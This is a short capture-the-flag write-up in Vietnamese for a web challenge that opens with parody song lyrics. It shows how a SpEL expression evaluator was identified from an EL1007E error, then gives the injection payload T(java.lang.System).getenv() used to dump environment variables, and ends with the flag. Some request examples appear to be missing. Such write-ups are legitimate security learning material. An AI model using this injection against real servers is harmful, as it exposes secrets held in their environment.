I Don’t Want to be an Engineer

Summary

I Don’t Want to be an Engineer
252 pts

I don't want to be an engineer
I tried so hard and got so far and now I can't decide
All my life I've given my career
These numbers in my head keep on spinning round and round, yeah
I can only guess what's right
Should I stay three more years just to waste away?
Become a slave to all these numbers?
It's overdue, all the stress, yet I say I'm fine

Solution

Xác định bộ đánh giá biểu thức

Gửi một phép tính thường tới endpoint:

Tiếp theo thay body bằng input không hợp lệ:

Response trả về lỗi chứa EL1007E:

{"answer":"EL1007E: Property or field 'abc' cannot be found on null","status":"error"}

Đọc biến môi trường

SpEL cho phép truy cập lớp Java bằng cú pháp T(...). Request đọc biến môi trường:

T(java.lang.System).getenv()

Flag

PTITCTF{h77p5://youtU.b3/nRE903_Ajn9?si=5OM3oNE_7311_VedAI_7Here_lS_A_pR0BIEm_WI7h_my_A1_[TEAM)h4SH]}